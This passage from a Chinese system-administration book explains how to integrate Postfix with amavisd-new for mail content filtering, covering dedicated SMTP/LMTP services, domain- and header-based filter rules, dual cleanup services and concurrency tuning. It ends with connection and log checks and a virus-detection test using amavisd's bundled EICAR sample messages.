默认情况下，amavisd使用IP为127.0.0.1和端口为10025连接SMTP服务器，将过滤之后的邮件重新送入SMTP服务器进行投递。除非使用不同的IP和/或端口号，否则没必要修改默认值。如果是使用了不同的 IP 地址或者是端口号，那么就必须调整参数$notify_method 和参数$forward_method。下面的一个例子是在“/etc/amavisd.conf”中使用192.168.4.21做为监听地址，端口号仍使用10025。

$notify_method = 'smtp:[192.168.4.21]:10025';

$forward_method = 'smtp:[192.168.4.21]:10025';

（2）配置从Postfix到amavisd-new的邮件传输

amavisd-new和Postfix都能够使用SMTP-或者是LMTP-工具从Postfix到amavisd-new传递邮件。在这里分别描述这两种不同的用法。

为什么要配置一个专用的服务？

理论上，可以在配置文件master.cf中使用现有的SMTP-，LMTP或者中继服务来实现从Postfix到amavisd-new传输邮件。

在实践中，在传送邮件到amavisd-new的过程中，需要利用这个传输服务对传输的内容进行限制。在一个全局有效的Postfix邮件系统服务上设置此类限制会使系统运行缓慢,所以应该避免。
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注意：

Postfix的客户可能会同时连接amavisd-new实例，所以要注意Postfix的客户的数量，适当的配置amavisd-new的子进程数量。

如果Postfix允许连接的客户数量高于amavisd-new能够承受的数量，那么amavisd-new将会把Postfix进入的连接配成队列，Postfix会将此行为解释为“远程MTA没反应（unresponsive remote MTA）”，而且Postfix自身也开始将等待过滤邮件排成队列。所有这些都可能抑制整个系统的性能，并且所有进一步的过滤尝试都会受到影响。

① 配置专用的lmtp-client

下面例子中建立了一个新的、专用的lmtp-transport服务，在配置文件/etc/postfix/master.cf中命名为amavisfeed。

# ==========================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# ==========================================================================

...

amavisfeed UNIX　-　　-　　n　　-　2　lmtp

-o lmtp_data_done_timeout=1200

-o lmtp_send_xforward_command=yes

-o lmtp_tls_note_starttls_offer=no

解释一下上面的设置。

maxproc参数意义。

当前为Postfix 服务的最大进程数，这里限制为2（默认default_process_limit = 100），设置这个值的直接表现结果是有2个amavisd子进程，一开始设置的是这个值，但是等系统工作稳定了还可以增加这个值，但是这个值不应该超过同时运行的amavisd的子进程数。

相关参数见表13.10。


表13.10 专用的lmtp-client的参数
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② 配置一个专用的smtp-client

配置一个专用的smtp-client几乎和配置一个专用的lmtp-client相同，只是详细的语法不同。在使用的参数中，参数的开头是“smtp_”而不是“lmtp_”。同lmtp-client的原因一样，使用了如下实例中的3个参数。

例如，下面这个例子是专用的smtp-client，smtp client被命名为amavisfeed。

# =======================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# =======================================================================

...

amavisfeed UNIX　-　　-　　n　　-　　2　smtp

-o smtp_data_done_timeout=1200

-o smtp_send_xforward_command=yes

-o smtp_tls_note_starttls_offer=no

（3）为邮件重新投递配置专用的SMTP-server

第二个需要添加到Postfix邮件系统的服务是一个专用的SMTP-server，它将仅存在于接收从amavisd-new传来的、已被过滤的邮件和通知，然后再传输它们到Postfix邮件系统。

这个专门的smtpd服务器将在许多方面与默认的smtpd守护进程不同。最重要的不同点是变量“content_filter”配置空参数，这样的配置会覆盖掉在Postfix中设置的任何全局的外部内容过滤。
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注意：

在Postfix中把邮件传到一个外部的内容过滤器使用参数“content_filter”完成。如果专用的 smtpd-daemon 不能够覆盖任何全局“content_filter”的设置，那么会出现从外部过滤器送回的邮件再次被投递到外部的过滤器，这样将会导致邮件无穷循环。

下列Postfix的例子使用了amavisd-new 的默认设置参数$forward_method 和$notify_method。这些设置配置amavisd-new将已被过滤的邮件和通知转发到IP为127.0.0.1、端口为10025的机器上；配置Postfix的smtpd守护进程绑定这个IP地址，并且在这个端口上监听进来的连接。

# ==========================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# ==========================================================================

...

127.0.0.1:10025 inet n　-　　n　　-　　-　smtpd

-o content_filter=

-o smtpd_delay_reject=no

-o smtpd_client_restrictions=permit_mynetworks,reject

-o smtpd_helo_restrictions=

-o smtpd_sender_restrictions=

-o smtpd_recipient_restrictions=permit_mynetworks,reject

-o smtpd_data_restrictions=reject_unauth_pipelining

-o smtpd_end_of_data_restrictions=

-o smtpd_restriction_classes=

-o mynetworks=127.0.0.0/8

-o smtpd_error_sleep_time=0

-o smtpd_soft_error_limit=1001

-o smtpd_hard_error_limit=1000

-o smtpd_client_connection_count_limit=0

-o smtpd_client_connection_rate_limit=0

-o receive_override_options=no_header_body_checks,no_unknown_recipient_checks,no_milters

-o local_header_rewrite_clients=

-o smtpd_milters=

-o local_recipient_maps=

-o relay_recipient_maps=

简要解释一下相关参数见表13.11。


表13.11 专用的SMTP-server的参数
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运行“postfix reload”命令，重新载入配置以激活新的传输（同时，Postfix 也将不再按照常规的方式把邮件传输给amavisd）。

[root@mail ～]# postfix reload && tail -f /var/log/maillog

如果没有问题报告，就可以进行基本测试了。

（4）测试基本配置

测试基本配置包括3个独立的测试,目标就是回答下面的3个问题。

amavisd-new会接受一个指定IP地址和端口的连接吗？

新的、专用的smtpd-daemon接受指定IP和端口的连接吗？

一个测试邮件进入 amavisd-new ，被过滤后能被发送到 Postfix 并且投递到用户邮件箱（mailbox）吗？

① 测试amavisd 主机和端口号

使用telnet命令做测试，使用telnet来校验amavisd监听的地址和端口号。一个成功的连接大致如下。

[root@mail test-messages]# telnet 127.0.0.1 10024

Trying 127.0.0.1...

Connected to mail (127.0.0.1).

Escape character is '^]'.

220 [127.0.0.1] ESMTP amavisd-new service ready

EHLO mail.xxx.cn

250-[127.0.0.1]

250-VRFY

250-PIPELINING

250-SIZE

250-ENHANCEDSTATUSCODES

250-8BITMIME

250-DSN

250 XFORWARD NAME ADDR PORT PROTO HELO SOURCE

quit

221 2.0.0 [127.0.0.1] amavisd-new closing transmission channel

如果测试失败了，下列问题可能会帮助调试。

amavisd-new守护进程是否运行？

amavisd-new是否有错误日志输出？

在amavisd-new 的配置文件中配置的IP 和端口号是否与命令行指定的IP和端口号匹配？

是否有防火墙阻止了连接？

② 测试Postfix 专用的smtpd-daemon

当Postfix被重新载入（reloaded）后，这个新的、专用的smtpd-daemon(127.0.0.1:10025)就应该被激活，一个成功的连接大致如此。

[root@mail test-messages]# telnet 127.0.0.1 10025

Trying 127.0.0.1...

Connected to mail (127.0.0.1).

Escape character is '^]'.

220 mail.xxx.cn ESMTP "Version not Available"

EHLO mail.xxx.cn

250-mail.xxx.cn

250-PIPELINING

250-SIZE 14336000

250-VRFY

250-ETRN

250-AUTH LOGIN PLAIN

250-AUTH=LOGIN PLAIN

250 8BITMIME

QUIT

221 Bye

Connection closed by foreign host.

如果测试失败了，下列问题可能会帮助调试。

Postfix的master守护进程是否运行？

Postfix是否有错误日志输出？

测试命令telnet的命令行指定的IP地址和端口号与新服务中指定的IP地址和端口号是否匹配？

是否有防火墙阻止了连接？

③ 测试新的输出链

这个测试要证实（为Postfix配置amavisd-new）amavisd接收邮件、过滤邮件和最后移交专用的Postfix smtpd 守护进程（配置一个专用的SMTP-server 邮件）。

下列的例子使用目录test-messages下的文件sample-nonspam.txt，从amavisd发送这封邮件。

[root@mail test-messages]# telnet 127.0.0.1 10024

Trying 127.0.0.1...

Connected to mail (127.0.0.1).

Escape character is '^]'.

220 [127.0.0.1] ESMTP amavisd-new service ready

HELO localhost

250 [127.0.0.1]

MAIL FROM: <>

250 2.1.0 Sender <> OK

RCPT TO: <t1@xxx.cn>

250 2.1.5 Recipient <t1@xxx.cn> OK

DATA

354 End data with <CR><LF>.<CR><LF>

From:t1@xxx.cn

To: undisclosed-recipients:

Subject: amavisd test - simple - no spam test pattern

This is a simple test message from the amavisd-new test-messages.

250 2.6.0 Ok, id=32501-12, from MTA([127.0.0.1]:10025): 250 Ok: queued as 6DCA9B4CC05

QUIT

221 2.0.0 [127.0.0.1] amavisd-new closing transmission channel

Connection closed by foreign host.

邮件日志会显示投递路径，下面是上面例子成功投递处理的日志。

[root@mail test-messages]# tail -200 /var/log/maillog|more

①

Apr 11 09:47:41 mail postfix/smtpd[5072]: connect from mail[127.0.0.1]

Apr 11 09:47:41 mail postfix/smtpd[5072]: 6DCA9B4CC05: client=mail[127.0.0.1]

Apr 11 09:47:41 mail postfix/cleanup[4870]: 6DCA9B4CC05: message-id=<20100411014741. 6DCA9B4CC05@mail.xxx.cn>

Apr 11 09:47:41 mail postfix/smtpd[5072]: disconnect from mail[127.0.0.1]

Apr 11 09:47:41 mail postfix/qmgr[17143]: 6DCA9B4CC05: from=<>, size=786, nrcpt=1 (queue active)

②

Apr 11 09:47:41 mail amavis[32501]: (32501-12) Passed BAD-HEADER, <> -> <t1@xxx.cn>,quarantine: badh-NkqSTF6CvjxJ, mail_id: NkqSTF6CvjxJ, Hits: -, size: 179, queued_as:6DCA9B4CC05, 213593 ms

③

Apr 11 09:47:41 mail postfix/pipe[5074]: 6DCA9B4CC05: to=<t1@xxx.cn>, relay=maildrop, delay=0, status=sent (xxx.cn)

Apr 11 09:47:41 mail postfix/qmgr[17143]: 6DCA9B4CC05: removed

解释日志信息如下。

① amavisd 连接 Postfix 专用的 smtpd-daemon，并且移交电子邮件（利用 telnet 会话发送的邮件）。smtpd分配了一个队列ID（queue-id）“ 6DCA9B4CC05”，这个队列ID会跟踪整个邮件记录；

② amavisd 提示邮件已被检测并且被发送到t1@xxx.cn；

③ Postfix 的local-service 记录了日志，已经成功地将队列ID 为6DCA9B4CC05 的邮件投递到t1。

如果测试失败，下列问题可能会帮助调试。

① 是否amavisd-new 记录了错误日志？

② amavisd-new 运行在调试模式（debug-mode），是否有错误报告？

3．邮件过滤的例子

Postfix 使用各种各样的标准来判断是否应该将邮件发送给 amavisd-new，组合准则可以建立不同的配置，下面将描述一下配置。

① 全局过滤E-mail；

② 通过Postfix 服务全局过滤E-mail；

③ 对每一个收件域（recipient domain）过滤邮件；

④ 对每一个发件域（sender domain）过滤邮件；

⑤ 通过内容过滤邮件。

（1）通过服务全局过滤E-mail

在大多数情况下，电子邮件策略需要全局过滤。对每一个进入和出去的邮件，在接近最终的目的地之前，必须通过amavisd-new来过滤。
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注意：

为什么检测出站的邮件？

由于以下一些原因,需要检测从内部网络上进入的邮件或者是从认证过的漫游用户进入的邮件。

① 内部感染病毒的PC在发送病毒；

② 内部的PC 开启了中继或者是代理，但却在发送或中继垃圾邮件；

③ 让 SpamAssassin 贝叶斯自动学习功能查看到所有的邮件，包括这些原始的、没有垃圾邮件的、有用的、从内部发出去的邮件；

④ 如果开启了pen pals功能，那么能够使用该功能。

在Postfix中，全局过滤设置是在配置文件main.cf中完成的，通过参数content_filter设

置将邮件发送给amavisd-new，因此必须放置在main.cf中。

参数 content_filter 需要一个三元组的值，包括传输服务名（这里是 amavisfeed，就是在“配置专用的lmtp-client”中配置的）、目标主机的IP地址和端口号（这是amavisd-new用来监听进入的连接）。示例如下。

content_filter=amavisfeed:[127.0.0.1]:10024

在配置文件 main.cf 中添加这样的语句后，一旦重新载入配置文件，配置的外部内容过滤器就启用了。通过发送测试邮件和分析日志看是否正常工作。

（2）通过Postfix服务过滤E-mail

Postfix每个服务都能够过滤邮件，这种配置不用把content_filter加入main.cf成为全局配置（即为所有的服务），而是有选择地在配置文件master.cf中加入服务。

在下面的例子中，假定 Postfix 运行的系统提供了 3 个 IP 地址。例如，这 3 个 IP 分别为192.168.4.21(WAN)、127.0.0.1(localhost)和10.0.0.254(LAN)，目标是仅过滤从WAN接口上进入的邮件。

这需要建立3个专用的smtpd-daemon实例，每个实例绑定一个给定的IP地址，并且要解除全局SMTP服务调用——smtpd命令。

另外，对于WAN接口（这里是192.0.2.1:25）的配置，由于通过该接口的邮件要被amavisd-new过滤，因此要配置为“content_filter =amavisfeed:[127.0.0.1]:10024”。这表示任何通过该服务进入Postfix邮件系统的邮件都将会被外部设置的amavisd做内容过滤。

# ======================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# ======================================================================

#　smtp　inet　n　　-　　n　　-　　-　　smtpd

...

192.168.4.21:25 inet n　-　　n　　-　　-　　smtpd

-o content_filter=amavisfeed:[127.0.0.1]:10024

-o receive_override_options=no_address_mappings

10.0.0.254:25　inet n　-　　n　　-　　-　　smtpd

127.0.0.1:10025 inet n　-　　n　　-　　-　　smtpd

-o content_filter=

-o smtpd_delay_reject=no

-o smtpd_client_restrictions=permit_mynetworks,reject

-o smtpd_helo_restrictions=

-o smtpd_sender_restrictions=

-o smtpd_recipient_restrictions=permit_mynetworks,reject

-o smtpd_data_restrictions=reject_unauth_pipelining

-o smtpd_end_of_data_restrictions=

-o smtpd_restriction_classes=

-o mynetworks=127.0.0.0/8

-o smtpd_error_sleep_time=0

-o smtpd_soft_error_limit=1001

-o smtpd_hard_error_limit=1000

-o smtpd_client_connection_count_limit=0

-o smtpd_client_connection_rate_limit=0

-o receive_override_options=no_header_body_checks,

no_unknown_recipient_checks,

no_milters

-o local_header_rewrite_clients=

-o smtpd_milters=

-o local_recipient_maps=

-o relay_recipient_maps=

（3）对每一个收件域（recipient domain）的邮件进行过滤邮件

Postfix能够对每一个收件域的邮件进行过滤。为了过滤，参数content_filter同样不能在配置文件main.cf中使用。取而代之的是使用查询表（lookup table）实现。
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注意：

这种方法并不可取！这样做的结果是列在查询表中的任何收件人的邮件均被转往amavis，甚至是邮件中包含其他不应该被amavis架构检查的收件人。

当Postfix查询查询表并且找到了收件域的键值时，Postfix将会采取一个动作，将邮件转送到过滤器amavisfeed:[127.0.0.1]:10024。

下面的查询表“/etc/postfix/filter_recipient_domains”指定了发送邮件到过滤器amavisfeed。对于example.com域的任何收件人，无论什么时候发送邮件都将会进入Postfix邮件队列。

xxx.com　　FILTER amavisfeed:[127.0.0.1]:10024

编辑完查询表后，必须利用postmap生成一个Postfix能够读的索引图。

[root@s4 ～]# postmap /etc/postfix/filter_recipient_domains

建立了索引图后，要使用postmap检测一下。下面的例子中，利用postmap查询xxx.com，并且返回了结果。

[root@s4 ～]#postmap -q "xxx.com" /etc/postfix/filter_recipient_domains

FILTER amavisfeed:[127.0.0.1]:10024

在使用新的策略前，经过测试的这个索引图必须加入到配置文件 main.cf 中。把前面这个刚刚检测过的索引图作为参数“check_recipient_access”的值，然后将这个整体再作为“smtpd_recipient_restrictions”的值添加在main.cf中。这实际上是建了一个触发器，在一个Postfix SMTP会话过程（SMTP-session）中，符合过滤的SMTP客户端（SMTP-client）将会触发这个设置，然后进行过滤。

下列的例子把“check_recipient_access”规则放置在“permit_mynetworks”之前，所有收件人都将会被检测。

smtpd_recipient_restrictions =

...

check_recipient_access hash:/etc/postfix/filter_recipient_domains

...

permit_mynetworks

reject_unauth_destination

...

对每一个收件域进行邮件过滤只需要过滤从外面来的客户邮件。

在下面的这个例子中，将“check_recipient_access”规则放在了“permit_mynetworks”后面。这样放置的结果是只过滤在Postfix中参数$mynetworks没有设置的客户端（包括外部的或者是不信任的客户端）的邮件。

smtpd_recipient_restrictions =

...

permit_mynetworks

reject_unauth_destination

check_recipient_access hash:/etc/postfix/filter_recipient_domains

...

（4）对每一个发件域（sender domain）过滤邮件

一般而言，会认为从发件域（sender-domain）角度过滤邮件没意义。但是如果有人在 SMTP会话过程（SMTP-session）中伪造发件域,这样的情况下过滤发件域将会变得有意义。如果邮件没被全局过滤，但是邮件又是从属于自己的域（所使用的发件域），那么在这种情况在这个邮件离开网络之前要进行病毒和垃圾邮件检查。

大多数配置步骤与收件域的相同，除了索引图的值不相同。在这种情况下，要使发件人作为触发条件，这时把索引图命名为/etc/postfix/filter_sender_domains，内容为发件域（sender domain）。

example.com　　FILTER amavisfeed:[127.0.0.1]:10024

同样用postmap 命令建立索引图，然后再利用“postmap -q”命令进行检测。测试成功后，将刚生成的索引图作为参数“check_sender_access”的值，然后再将这个整体作为“smtpd_recipient_restrictions”的值。

示例如下。

smtpd_recipient_restrictions =

...

check_sender_access hash:/etc/postfix/filter_sender_domains

...

permit_mynetworks

reject_unauth_destination

...
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注意：

索引图必须列在“permit_mynetworks”之前，因为只有这样策略才会被添加到所有的客户——甚至包括Postfix信任的客户。

（5）通过内容过滤邮件

Postfix能够使用故意限制（参考BUILTIN_FILTER_README），通过扫描邮件标题和正文查找匹配的字符串，然后采取适当的动作。

下列例子是配置Postfix在“Subject:-headers”部分中查找字符串“offer”。如果查找到匹配的邮件，就将邮件交给一个外部的过滤器，包含搜索的字符串（使用正则表达式），并且与一个过滤器相关联。

/^Subject:.*offer/　FILTER amavisfeed:[127.0.0.1]:10024

Postfix支持两种风格的正则表达式，regexp（POSIX扩展正则表达式）和pcre（perl兼容正则表达式），其中regexp默认支持。pcre正则表达式Postfix默认不支持，需要在编译安装Postfix时指定连接pcre 函数库才可以。可以使用命令“postconf -m”查看是否支持pcre 正则表达式。需要说明的是，两者语法略有不同，但是pcre在执行效率上要强于regexp。
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注意：

regexp- 或 pcre-maps 的建立，在这两种索引图中必须使用明文文件，它们绝对不能用postmap命令转化，但是可以利用“postmap -q”命令进行检测。

下面的例子是使用header_checks参数（而不是body_checks或mime_header_checks）。

header_checks = regexp:/etc/postfix/filter_header

Postfix重新载入配置后，所有发送的邮件中只要头部包括字符串“Subject:-header”的都将会被外部的amavisd进行内容过滤。

4．高级的Postfix和amavisd-new的配置

在邮件内容过滤的设置中，一封邮件要穿过Postfix的smtpd和cleanup服务两次，第一次是在内容过滤之前，第二次是在经过内容过滤和被认可后再次返回到邮件系统。为了避免浪费资源，控制这些服务运行行为的选项不应该应用到全局的main.cf配置文件中，而是要在配置文件master.cf中有选择地分离这些服务实例。可通过Postfix自身的smtpd服务执行检查和转化，例如访问控制、收件人确认及milters等，通过在配置文件master.cf中对相应的smtpd服务添加选项“-o”而达到目的。

Postfix cleanup 服务执行的检查和转化比较棘手，因为在常规的Postfix中只设置一个cleanup服务，不像 smtpd 服务有很多参数。一些比较重要的 cleanup 设置通过 smtpd 服务使用参数“receive_override_options”来动态控制。
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提示：

检查和转化

任何转化最好只进行一次，可以在内容过滤之前，也可以在内容过滤之后。什么时候进行转化依赖于预期的效果，例如在邮件内容过滤时是否改变或修改邮件信息。

典型的转化如下。

① 重写（rewrite）IP地址；

② 添加BCC 收件人；

③ 修改邮件头（mail header）。

大多数检查应该只能进行一次，所以更好地选择是在邮件进入Postfix邮件系统的第一时刻。通过这种方式，如果是需要拒绝的邮件，那么会尽早地拒绝掉。这样的设计会减少资源浪费。而且尽早实施检查，也能够避免在第二次内容过滤中发现有恶意的检查结果而被弹回。

（1）多cleanup服务架构

相对于选项“receive_override_options”，为了增加对cleanup服务更多的控制，必须运行两个或更多个cleanup服务，每一个服务有自己的设置选项。一个Postfix系统中可以设置不只一个cleanup服务，可能会适用两个单独分开的 Postfix 实例，也可能通过一个规范的服务来设置，在 master.cf文件中设置它们的选项。下面的图解是在单一的Postfix实例中设置了两个cleanup服务，见图13.7。
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图13.7 多cleanup服务架构



两个cleanup服务处理邮件流如下。

① 邮件在常规的smtpd 或者pickup服务下进入Postfix系统

② pre-cleanup 服务对邮件执行检查和转化

③ qmgr 服务将邮件发送到amavisd-new 做内容过滤

④ amavisd-new 对邮件执行各种检查

⑤ 邮件被重新发回到Postfix邮件系统，发送邮件到一个专用的本地smtpd 服务

⑥ 在这一阶段cleanup 服务执行检查和转化,但是忽略第2 步中已经执行过的检查和转化

（2）配置两个cleanup服务

配置Postfix smtpd 服务使用两个分开的、专用的cleanup 服务需要如下步骤。

建立第二个cleanup实例；

修改已经存在的cleanup服务；

配置smtpd服务使用二者中的任何一个cleanup服务。

① 建立第二个cleanup 实例

下列例子添加了一个 cleanup 守护进程，并且命名为 per-cleanup，它的作用是在内容过滤前对邮件进行处理。

# ====================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# ====================================================================

# smtp　inet　n　　-　　n　　-　　-　　smtpd

...

pre-cleanup UNIX　n　　-　　n　-　　0　　cleanup

-o virtual_alias_maps=

上面的配置会标准化地重写一个离开的邮件，因此在内容过滤时会看到标准的发件人的地址，但是屏蔽了全局配置虚拟别名传输表。这样的转化还将会在后面的第二次 cleanup 服务中进行，所以内容过滤还会看到原始的收件人地址。当然，这里只是列出了一个参数，根据需要可能还需要其他的参数。

② 修改现有的cleanup 服务

对于已经存在服务，服务的名字为 cleanup，它将被用于处理重新进入 Postfix 邮件系统的邮件（也包括投递和转发Postfix内部产生的通知），已经被pre-cleanup执行过的cleanup工作就不应该再次执行了。下面的例子屏蔽了典型的检查。

# ======================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# ======================================================================

# smtp　inet　n　　-　　n　　-　　-　　smtpd

...

cleanup　UNIX　n　　-　　n　　-　　0　　cleanup

-o mime_header_checks=　①

-o nested_header_checks=　②

-o body_checks=　　③

-o header_checks=　　④

上述中的参数① ② ③ ④ 指定的选项屏蔽了对 header 和 body 的检查，因为它们已经被pre-cleanup服务进行过检查。
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注意：always_bcc

这个 cleanup 服务还可以指定 always_bcc 选项。如果在全局使用了这个选项，那么这个选项会继承到两个cleanup服务中，结果出现每一封邮件的两个拷贝，均发送到指定的地址。

③ 配置smtpd 服务

最后，修改已经存在的smtpd服务，smtpd监听端口25和587（submission），以及pickup服务都必须配置发送邮件到新的pre-cleanup服务而不是默认的cleanup服务。

# =======================================================================

# service type private unpriv chroot wakeup maxproc command + args

#　　　(yes)　(yes)　(yes)　(never) (100)

# =======================================================================

# smtp　inet　n　　-　　n　　-　　-　　smtpd

...

pickup　fifo　n　　-　　n　　60　1　　pickup

-o cleanup_service_name=pre-cleanup

smtp　inet　n　　-　　n　　-　　-　　smtpd

-o cleanup_service_name=pre-cleanup

submission inet n　　-　　n　　-　　-　　smtpd

-o cleanup_service_name=pre-cleanup

5．调优

（1）最大的并发数量

在Postfix 中，最重要的调整和优化是设置amavisd 进程最大的并发数。在 Postfix和amavsid 的最大并发进程数在选择上一定要小心。如果数值太低，硬件资源不能够有效的使用，投递时间将不必要地被延长。经验显示，增加一点进程数，在相同的比例下不会提高整体吞吐量。在增加的每一个进程中，当系统的资源接近饱和时，增加吞吐量变得微弱，在并发进程数超过最接近优化的值（near-optimum value）时，甚至出现负效应。最好的实践是开始使用一个保守的数值，用最大数值 2作为并发进程，每天使用的值会显示出来，这个值可能会在10到30，当然也依赖于系统的整体资源。

不管并发进程的值是多大，但是 Postfix 和 amavsid 必须同步。要达到这个目可以分别修改Postfix和amavisd-new的配置文件。在amavisd-new的配置文件amavisd.conf中编辑$max_servers；在Postfix的配置文件master.cf中修改相应的maxproc列的数值。

两个值应该统一有两个原因。如果 amavisd-new 提供的进程比 Postfix 使用的多，那么amavisd-new浪费了资源，反之，amavisd就不能及时地处理，而导致邮件被拒绝和错误日志。
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注意：在配置文件main.cf中控制并行进程的最大值

事实上，除了在master.cf中控制最大进程的并发数外，还可以在main.cf文件中设置。在master.cf文件中保持默认配置，然后再在main.cf文件中设置下列参数。

amavisfeed_destination_concurrency_limit = 2

设置参数使用服务名称作为参数的前缀（例如上面的 amavisfeed），而服务名称来自于master.cf中相应的默认配置，格式为suffix _destination_concurrency_limit；上面设置的2为一个保守的初始值。

（2）其他参考

README.performance

http://www.ijs.si/software/amavisd/amavisd-new-magdeburg-20050519.pdf




13.5.4 整合Postfix和amavisd-new实例


安装了Postfix和amavisd-new后，就可以对Postfix和amavisd-new进行整合。本案例是一个生产环境下的企业邮箱。

以下是硬件和系统环境。

[root@mail clamav]# uname -a

Linux mail.xxx.cn 2.6.18-53.el5 #1 SMP Wed Oct 10 16:34:02 EDT 2007 i686 i686 i386 GNU/Linux

[root@mail clamav]# cat /proc/cpuinfo |grep processor

processor　　: 0

processor　　: 1

processor　　: 2

processor　　: 3

[root@mail clamav]# cat /proc/cpuinfo |grep "model name"

model name　: Intel(R) Xeon(TM) CPU 3.00GHz

model name　: Intel(R) Xeon(TM) CPU 3.00GHz

model name　: Intel(R) Xeon(TM) CPU 3.00GHz

model name　: Intel(R) Xeon(TM) CPU 3.00GHz

[root@mail clamav]# cat /proc/meminfo

MemTotal:　2074808 kB

1．两步完成Postfix和amavisd-new的整合

第一步：修改main.cf文件。

在配置文件/etc/postfix/main.cf中添加下列内容。

#################################################

#for amavisd-new

content_filter = amavis:127.0.0.1:10024

#

################################################

第二步：修改master.cf文件。

在配置文件/etc/postfix/master.cf中添加如下内容。

#########################################################

# for amavisd-new

#

amavis UNIX - - n - 2 smtp

-o smtp_data_done_timeout=1200

-o disable_dns_lookups=yes

-o smtp_send_xforward_command=yes

127.0.0.1:10025 inet n　-　　n　　-　　-　smtpd

-o content_filter=

-o smtpd_delay_reject=no

-o smtpd_client_restrictions=permit_mynetworks,reject

-o smtpd_helo_restrictions=

-o smtpd_sender_restrictions=

-o smtpd_recipient_restrictions=permit_mynetworks,reject

-o smtpd_data_restrictions=reject_unauth_pipelining

-o smtpd_end_of_data_restrictions=

-o smtpd_restriction_classes=

-o mynetworks=127.0.0.0/8

-o smtpd_error_sleep_time=0

-o smtpd_soft_error_limit=1001

-o smtpd_hard_error_limit=1000

-o smtpd_client_connection_count_limit=0

-o smtpd_client_connection_rate_limit=0

-o receive_override_options=no_header_body_checks,

no_unknown_recipient_checks,no_milters

-o local_header_rewrite_clients=

-o smtpd_milters=

-o local_recipient_maps=

-o relay_recipient_maps=

然后重新启动postfix和amavisd进程。

[root@mail test-messages]#service postfix restart

[root@mail test-messages]#service amavisd restart

检查启动情况如下。

[root@mail ～]# lsof -i:10025

COMMAND　PID　USER　FD　TYPE　DEVICE SIZE NODE NAME

smtpd　5971 postfix　6u　IPv4 70986454　　TCP mail:10025 (LISTEN)

master　17139　root　98u　IPv4 70986454　　TCP mail:10025 (LISTEN)

[root@mail ～]# lsof -i:10024

COMMAND　PID　USER　FD　TYPE　DEVICE SIZE NODE NAME

amavisd　2121 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　2506 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　2524 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　3158 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　3908 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　4304 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　4702 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd　5531 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

amavisd 17430 amavis　5u　IPv4 70988134　　TCP mail:10024 (LISTEN)

2．病毒邮件测试

在源文件的test-messages目录中有个文件名为sample.tar.gz.compl。这是个压缩文件，包含了各种测试邮件。进入该目录并查看README文件如下。

[root@mail amavisd-new-2.6.4-rc2]#cd test-messages

[root@mail test-messages]# ls

README　sample.tar.gz.compl

[root@mail test-messages]# more README

Test mail messages in this directory contain a complete header section.

When testing amavisd, they must not be encapsulated

in another mail wrapper or otherwise modified.

Instead, feed them directly to sendmail (or its lookalike):

$ sendmail -i your-address@example.com <sample-virus-simple.txt

$ sendmail -i your-address@example.com <sample-virus-nested.txt

$ sendmail -i your-address@example.com <sample-nonspam.txt

$ sendmail -i your-address@example.com <sample-spam-GTUBE-junk.txt

$ sendmail -i your-address@example.com <sample-spam-GTUBE-nojunk.txt

$ sendmail -i your-address@example.com <sample-spam.txt # old sample

$ sendmail -i your-address@example.com <sample-42-mail-bomb.txt

$ sendmail -i your-address@example.com <sample-badh.txt

To avoid difficulty of downloading this package through firewalls which

check contents for viruses, these sample files are now no longer included

as a plain text, but are contained in a bit-complemented tar.gz archive.

Here is how to extract original files from the file sample.tar.gz.compl:

perl -pe 's/./chr(ord($&)^255)/sge' <sample.tar.gz.compl | zcat | tar xvf -

最后一行是解压sample.tar.gz.compl的命令，使用该命令将文件sample.tar.gz.compl解压。

[root@mail test-messages]#

perl -pe 's/./chr(ord($&)^255)/sge' <sample.tar.gz.compl | zcat | tar xvf -

[root@mail test-messages]# ll

total 136

-rw-r--r-- 1 401 400 1121 Dec 24 2008 README

-rw-r--r-- 1 401 400 57876 Jun 21 2008 sample-42-mail-bomb.txt

-rw-r--r-- 1 401 400 1234 Jun 21 2008 sample-badh.txt

-rw-r--r-- 1 401 400 4314 Jun 21 2008 sample-executable.txt

-rw-r--r-- 1 401 400 6494 Dec 28 2002 sample-nonspam.txt

-rw-r--r-- 1 401 400 799 Aug 25 2003 sample-spam-GTUBE-junk.txt

-rw-r--r-- 1 401 400 782 Aug 25 2003 sample-spam-GTUBE-nojunk.txt

-rw-r--r-- 1 401 400 4656 Dec 28 2002 sample-spam.txt

-rw-r--r-- 1 401 400 14614 Jun 21 2008 sample.tar.gz.compl

-rw-r--r-- 1 401 400 4530 Apr 15 2004 sample-virus-executable.txt

-rw-r--r-- 1 401 400 2384 Dec 28 2002 sample-virus-nested.txt

-rw-r--r-- 1 401 400 178 Dec 28 2002 sample-virus-simple.txt

发送病毒邮件,同时监控clamd的日志文件，然后查看病毒邮件隔离目录。

发送邮件如下。

[root@mail ～]mail -i x1@xxx.cn < ./sample-virus-executable.txt

监控clamd日志如下。

[root@mail log]# tail -f /var/log/clamav/clamd.log

/var/amavis/tmp/amavis-20100420T104948-17435/parts/p002: Eicar-Test-Signature FOUND

/var/amavis/tmp/amavis-20100420T104948-17435/parts/p001: Eicar-Test-Signature FOUND

查看病毒邮件隔离目录如下。

[root@mail virusmails]# pwd

/var/virusmails

[root@mail virusmails]#ls

……

-rw-r-----　1 amavis amavis　61296 Apr 20 07:05 virus-B43DAQJL-PCR

-rw-r-----　1 amavis amavis　5363 Apr 20 10:49 virus-KQFP8+wxuCRq

